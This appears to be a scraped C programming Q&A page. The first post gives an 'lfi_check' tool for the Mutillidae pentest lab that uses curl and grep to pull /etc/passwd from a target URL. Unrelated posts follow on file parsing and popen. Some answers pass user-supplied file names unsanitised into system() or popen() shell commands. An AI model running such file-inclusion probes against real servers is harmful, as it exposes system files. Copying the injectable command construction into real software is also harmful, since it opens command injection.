This is a pentesting laboratory environment called "Mutillidae".
This program grabs argv[1] and places into command "curl <[argv[1]>",
then it grabs a line from lfi_test file and places it into second
%s in sprintf(). This program executes %100, I am just having issues with the format( | grep root). Instead, the entire source code is revealed including the entire /etc/passwd file.
If I uncomment line #20:
int passwd = "/etc/passwd";
and change line #27 to
sprintf(url,"/usr/bin/curl %s%s", argv[1], passwd);
I am able to get the formatted result I want.
If anyone can help me out, thank you in advance.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[200];
int i;
FILE *fp;
char line[200];
char *root = "| grep root"
// char *passwd = "/etc/passwd";
fp = fopen("/home/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 1; i++)
{
fgets(line,sizeof(line), fp);
sprintf(url,"/usr/bin/curl %s%s %s", argv[1], line-1, root);
// printf("%s", line);
system(url);
}
}
}
The reason line-1 wasn't working in..
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line-1, root);
was due to line(/etc/passwd\n) from file was being cut by 1 and
it didn't allow char *root variable to be implemented into string format.
The function strtok() breaks line into a series of tokens using a delimiter. I was then able to parse "/etc/passwd\n" to "/etc/passwd" BEFORE sprintf().
Thanks DUman & immibis
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[4096];
int i;
FILE *fp;
char line[200];
char *root = " | grep root";
fp = fopen("/root/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 2; i++)
{
fgets(line,sizeof(line), fp);
strtok(line, "\n");
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line,root);
system(url);
}
}
}
Related
Have a problem to read in a file in c. Have been searching online since I'm a beginner in programming but still I have a problem with the output of my file.
int main( int argc, char *argv[]){
FILE *in;
int chr;
if(in = fopen("airmap1.map", "r")) == NULL){
printf("Could not open file\n");
exit(1);
while(fgets(row, sizeof(row),in) !=NULL){
if (*row == '#') //next row
continue;
fscanf(in, "%*[^\n]s , %[]s", row);
}
}
The file I want to read in is looking like this:
#animals at the zoo
cat dog #cat-dog
fish frog #fish-frog
I want to ignore comments after this sign #, but my problem is that my code only ignore the first word after #. But right now it gives me this output:
cat frog
dog fish
How can i solve this problem? I would like to have the output this form instead:
cat dog
fish frog
You could use a function that checks for any "#" in every line of the file, and then copy it in another string.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define commentSign '#'
#define bufferLength 255
int findPosOfChar(char * buffer, char charToFind, int length)
{
int i;
for(i = 0 ; i < length ; i++)
{
if(buffer[i] == charToFind)
return i;
}
return 0;
}
int main( int argc, char *argv[]){
FILE* filePointer = fopen("test", "r");
char buffer[bufferLength];
char *p = malloc(sizeof(char) * 255);
int commentPos;
while(fgets(buffer, bufferLength, filePointer)) {
commentPos = findPosOfChar(buffer, (char)commentSign, bufferLength);
memcpy(p, buffer, commentPos);
p[commentPos] = '\0';
printf("%s\n", p);
}
fclose(filePointer);
}
I have an archive results.csv and I need to read the first line of this archive and print it out on output.txt. Somehow it's printing random characters after everything and I couldn't figure out what is wrong.
Command: a.c results.csv
First line:
date,home_team,away_team,home_score,away_score,tournament,city,country,neutral
output.txt: date,home_team,away_team,home_score,away_score,tournament,city,country,neutral,(!£,(!£,(!£,(!£,(!£,#,£,(!£,(!£
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <string.h>
typedef struct
{
char *line1;
char *line1a;
char *line1b;
char *team1;
char *team2;
char *reason;
char *city;
char *country;
char *neutral_field;
}data;
void open_input(char *argv[], FILE **input)
{
if((*input=fopen(argv[1], "r")) == NULL)
{
printf("%s not found\n", argv[1]);
exit(1);
}
}
void open_output(char *string, FILE **output)
{
if((*output=fopen(string, "w")) == NULL)
{
printf("%s not found\n", string);
exit(1);
}
}
void alloc_data(data *d, int size)
{
d->line1 = (char*)malloc(4*sizeof(char));
d->team1 = (char*)malloc(9*sizeof(char));
d->team2 = (char*)malloc(9*sizeof(char));
d->line1a = (char*)malloc(10*sizeof(char));
d->line1b = (char*)malloc(10*sizeof(char));
d->reason = (char*)malloc(10*sizeof(char));
d->city = (char*)malloc(4*sizeof(char));
d->country = (char*)malloc(7*sizeof(char));
d->neutral_field = (char*)malloc(7*sizeof(char));
}
void store(data *d, FILE *input, FILE **output)
{
fscanf(input, "%s,%s,%s,%s,%s,%s,%s,%s,%s", d[0].line1, d[0].team1, d[0].team2, d[0].line1a, d[0].line1b, d[0].reason, d[0].city, d[0].country, d[0].neutral_field );
fprintf(*output, "%s,%s,%s,%s,%s,%s,%s,%s,%s\n", d[0].line1, d[0].team1, d[0].team2, d[0].line1a, d[0].line1b, d[0].reason, d[0].city, d[0].country, d[0].neutral_field );
}
int main(int argc, char *argv[])
{
FILE *input;
FILE *output;
char *string = "output.txt";
int size = 1000;
open_input(argv, &input);
open_output(string, &output);
data *d;
d = (data*)malloc(size*sizeof(data));
alloc_data(d, size);
store(d, input, &output);
free(d);
return 0;
}
fscanf(input, "%s,%s,%s,%s,%s,%s,%s,%s,%s", d[0].line1, d[0].team1,...
The above code tries to read the whole line in to d[0].line1 which causes buffer overflow. team1 and the rest will contain uninitialized data.
You have to change fscanf as follows:
fscanf(input, "%3[^ ,\n\t],%9[^ ,\n\t],...
Where 3 is 4 - 1, and 4 is the size of d[0].line1
Alternatively you can use strtok
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void store(FILE *input, FILE *output)
{
char buf[500];
while(fgets(buf, sizeof(buf), input))
{
//strip end-of-line from `buf`
if(strlen(buf))
if(buf[strlen(buf) - 1] == '\n')
buf[strlen(buf) - 1] = 0;
//tokenize with strtok
char *token = strtok(buf, ",");
while(token)
{
fprintf(output, "%s", token);
token = strtok(NULL, ",");
}
fprintf(output, "\n");
}
}
int main(int argc, char *argv[])
{
FILE *input = fopen("input.txt", "r");
FILE *output = fopen("output.txt", "w");
store(input, output);
return 0;
}
With above code you don't need an additional structure.
If you do use a structure for data, you have to be more careful. It seems you are trying to create an array of 1000 data, but the following only creates one oversized pointer, not an array of data
int size = 1000;
data *d;
d = (data*)malloc(size*sizeof(data));
alloc_data(d, size);
Additionally, for each malloc there should be a corresponding free.
Your buffers aren't big enough to hold the terminating NUL byte. scanf stores that NUL byte (overrunning the buffer), but then the object that really owns that byte may overwrite it, so when printf looks for the NUL it doesn't find it until much later in memory.
The buffer overruns are a bigger problem than what you've seen, who knows what objects those NUL bytes you didn't make space for are smashing? And what happens when you read a data file with slightly different header spelling? Suddenly your hard-coded allocations sizes will be even more wrong than they are already.
I should be able to sort a file with:
perl -e 'print sort <>' data_file
What I'd like to do is call this script from a C script. The C script will pass the data file name to the Perl script, and then read the sorted output.
I have that code ready to go:
#include <stdio.h>
FILE *popen(const char *command, const char *mode);
int pclose(FILE *stream);
int main(void){
FILE *cmd = popen("myperlscript myparams", "r");
char result[1024];
while (fgets(result, sizeof(result), cmd) != NULL)
printf("%s", result);
pclose(cmd);
return 0;
}
So how would I pass a list of last names in a file: data.txt from C to Perl and output the sorted list to stdout? (The Perl side of it)?
Just replace
FILE *cmd = popen("myperlscript myparams", "r");
with
FILE *cmd = popen("perl -e 'print sort <>' data.txt", "r");
I suggest you to check the result of popen, use this one:
#include <stdio.h>
#include <stdlib.h>
FILE *popen(const char *command, const char *mode);
int pclose(FILE *stream);
int main(void)
{
FILE *cmd;
char result[1024];
FILE *cmd = popen("perl -e 'print sort <>' data.txt", "r");
if (cmd == NULL) {
perror("popen");
exit(EXIT_FAILURE);
}
while (fgets(result, sizeof(result), cmd)) {
printf("%s", result);
}
pclose(cmd);
return 0;
}
Would it be possible to pass the file name in? (the data.txt) So I can
read different file names?
Of course, snprintf and the arguments of main are made for this ;)
#include <stdio.h>
#include <stdlib.h>
FILE *popen(const char *command, const char *mode);
int pclose(FILE *stream);
int main(int argc, char *argv[])
{
char result[1024], str[128];
FILE *cmd;
if (argc != 2) {
fprintf(stderr, "Usage %s filename\n", argv[0]);
exit(EXIT_FAILURE);
}
snprintf(str, sizeof str, "perl -e 'print sort <>' %s", argv[1]);
cmd = popen(str, "r");
if (cmd == NULL) {
perror("popen");
exit(EXIT_FAILURE);
}
while (fgets(result, sizeof result, cmd)) {
printf("%s", result);
}
pclose(cmd);
return 0;
}
I'll actually be prompting the user to enter a filename once the
program starts so passing in argv wouldn't work. (I believe, Very new
to C) I could just change this to a perlSort function, and pass
arguments that way, yes? To make this easier: ---Start Program
---Prompt user for source data file ---Prompt user for destination data file ---Display Menu: 1 - Sort with C 2 - Sort with Perl 3 - Find
word with Perl
So you want to be spoonfeeded, ok, no problem, but next time make some effort yourself first or you will never learn:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
FILE *popen(const char *command, const char *mode);
int pclose(FILE *stream);
int main(void)
{
char result[1024], tmp[128], *p;
FILE *cmd;
printf("Enter a filename: ");
fgets(tmp, sizeof tmp, stdin);
p = strchr(tmp, '\n');
if (p != NULL) *p = '\0';
snprintf(result, sizeof result, "perl -e 'print sort <>' %s", tmp);
cmd = popen(result, "r");
if (cmd == NULL) {
perror("popen");
exit(EXIT_FAILURE);
}
while (fgets(result, sizeof result, cmd)) {
printf("%s", result);
}
pclose(cmd);
return 0;
}
I'm working on a C program that get the command line arguments and append to them a file extension.
The execution will be something like this:
>myprogram file1 file2
and will execute another program that will use as argument file1.txt and file2.txt.
I tried doing that would add the extension and run one command (s1 is the path and s2 is argv[i] on a loop:
int getfile(char *s1, char *s2){
char *str2 = malloc(sizeof(s2)+3);
strcpy(str2,s2);
strcat(str2,".txt");
execl(s1,"program",str2,NULL);
exit(0);
}
The function will run the program for one file (>program file1.txt and >program file2.txt), but I will need to find a way to run it this way (>program file1.txt file2.txt).
I tried to modify argv directly, but I was unsuccessful.
Any advise?
Try this code:
int main(int argc, char *argv[])
{
char *buffer;
char command[512];
int i = 1;
for(i = 1; i < argc; i++){
buffer = malloc(strlen(argv[i]) + 5);
strcpy(buffer,argv[i]);
strcat(buffer,".txt");
sprintf(command,"touch %s\0",buffer);
system(command);
free(buffer);
}
return 0;
}
A simple program that has no error checking, and I like to explicitly add the string terminator.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, int *argv[]){
if(argc==1){
printf("You have not entered anything!\n");
return 0;
}
char *arr=malloc(1000*sizeof(char));
int i;
strcat(arr, argv[0]);
strcat(arr, " ");
for(i=0;i<argc-1;i++){
strcat(arr,argv[i+1]);
strcat(arr,".txt");
strcat(arr," ");
strcat(arr,"\0");
}
printf("%s\n",arr);
free(arr);
return 0;
}
When trying to read a plain text file with fgets in C, i get some strange looking output on the first line. So if the first line is meant to be "hello" it comes out as something like "ELFh` �� 20120918 (prerelease)#xxhello". Here is the code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
FILE *fr;
int i;
extern int uniq(char *previous_word, char *current_word);
char *line1 = malloc(500);
char *line2 = malloc(500);
char *temp;
for(i = 0; i<argc; i++)
{
fr = fopen (argv[i], "r");
while(fgets(line2, 499, fr) != NULL)
{
uniq(line1, line2);
temp = line1;
line1 = line2;
line2 = temp;
}
fclose(fr);
}
return 0;
}
int uniq(char *previous_word, char *current_word) {
if(!(current_word))
return 1;
if(strcmp(previous_word, current_word))
printf("%s", current_word);
return 0;
}
I've searched every description i can give of this problem on google and stack overflow and i can find nothing at all that fixes it.
Your loop must begin at index 1. argv[0] is your executable.
To check argv[0] is helpful if you have a so called multi binary executable. There you can handle different commands with just one binary. This is very helpful on embedded systems where you need to save memory.